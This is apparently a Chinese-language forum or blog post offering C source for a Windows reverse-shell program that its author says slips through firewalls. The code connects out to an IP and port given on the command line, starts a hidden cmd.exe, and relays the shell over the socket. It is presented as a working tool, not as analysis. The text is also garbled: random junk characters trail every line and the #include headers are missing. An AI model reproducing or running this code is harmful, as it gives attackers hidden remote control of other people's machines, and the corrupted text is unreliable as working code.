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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8C8S) ;  
1++g @8  
/* ============================== "^6Fh"]  
Rebound port in Windows NT \QC{38}  
By wind,2006/7 g hmn3  
===============================*/ -e}(\  
#include ` 6*]cn#(  
#include 5 ,-8oEUL  
HUD0 @HQI  
#pragma comment(lib,"wsock32.lib") J<+ f7L  
/{`"X_.o  
void OutputShell(); &.?E[db"h  
SOCKET sClient; s5{=lP  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l*z% Jw  
c QuL9Xo  
void main(int argc,char **argv) _"B.V(  
{ 8ta @@h  
WSADATA stWsaData; C0/^6Lu"o  
int nRet; {icTfPR4E  
SOCKADDR_IN stSaiClient,stSaiServer; ("t'XKP&N  
bA,Zfsr6#  
if(argc != 3) mi<Q3;m  
{ X*@ tp,t  
printf("Useage:\n\rRebound DestIP DestPort\n"); jzJTV4&zjs  
return; m N}szW,  
} {eI'0==  
18sc|t  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5]LWWjT  
QK+,63@D\=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I/tMFg  
ap )B%9  
stSaiClient.sin_family = AF_INET; rkR5>S( 2M  
stSaiClient.sin_port = htons(0); D0xQXC3$`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qjhV/fsfb  
Lu.+J]Rz  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {CI4AT!?W  
{ t!3N|`x  
printf("Bind Socket Failed!\n"); u-,}ug|  
return; U< G2tn(  
} D)ri_w!Q  
U< Xdhgo?  
stSaiServer.sin_family = AF_INET; [Cv./hEQi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RYEZ'<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I:iMRvp  
N4C7I1ihq  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ; $80}TY '  
{ a24 AmoWx  
printf("Connect Error!"); bg-/ 8,  
return; .7^(~&5N  
} z``wqK  
OutputShell(); /m"/#; ^l  
} 0GrM:Lh y  
Y PI)^ }  
void OutputShell() c**&,aL  
{ y0mNDze  
char szBuff[1024]; RSym9t90t  
SECURITY_ATTRIBUTES stSecurityAttributes; UTyV6~  
OSVERSIONINFO stOsversionInfo; hk4t #Km  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {owuYVm  
STARTUPINFO stStartupInfo; K-C,n~-  
char *szShell; WV$CZgL  
PROCESS_INFORMATION stProcessInformation; {IV% _y?  
unsigned long lBytesRead; |{YN3"qN  
6EyPZ{  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v>} +->f  
b^d{$eoH?|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @!f4>iUy  
stSecurityAttributes.lpSecurityDescriptor = 0; NgGMsE\C}  
stSecurityAttributes.bInheritHandle = TRUE; O[ird`/  
-  /\qGI  
+,>%Yb =EA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F,p0OL.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lfc&#G i3  
W[O]Aal{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GmWr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P+hcj p*  
stStartupInfo.wShowWindow = SW_HIDE; ~/`/r%1/J  
stStartupInfo.hStdInput = hReadPipe; WZNq!K H  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &[-(=43@  
xeU|5-d'  
GetVersionEx(&stOsversionInfo); ,O5X80'.g  
yKV{V?h?  
switch(stOsversionInfo.dwPlatformId) . |T=T0^  
{ B]"`}jn  
case 1: 32\.-v  
szShell = "command.com"; aP  
break; t Y  
default: ^b+>r  
szShell = "cmd.exe"; RtMI[  
break; \QK@wgu  
} S"Cz. bv  
{g%N(2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +r8bGS]ki  
&*<27-x  
send(sClient,szMsg,77,0); A ]A{HEX  
while(1) ^r\ rpSN  
{ %)JEYH7Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vAUt~ X"  
if(lBytesRead) SU~a()"  
{ INi$-Y+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  lln"c  
send(sClient,szBuff,lBytesRead,0); (E0   
} .r<a Py$  
else h4pS~/  
{ rY_~(?XS  
lBytesRead=recv(sClient,szBuff,1024,0); 9Lb96K?=>  
if(lBytesRead<=0) break; nTqU~'d'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]5Uuz?:e  
} BkB>eE1)Ea  
} \#9LwC"8;  
/88s~=  
return; %PYl  
}
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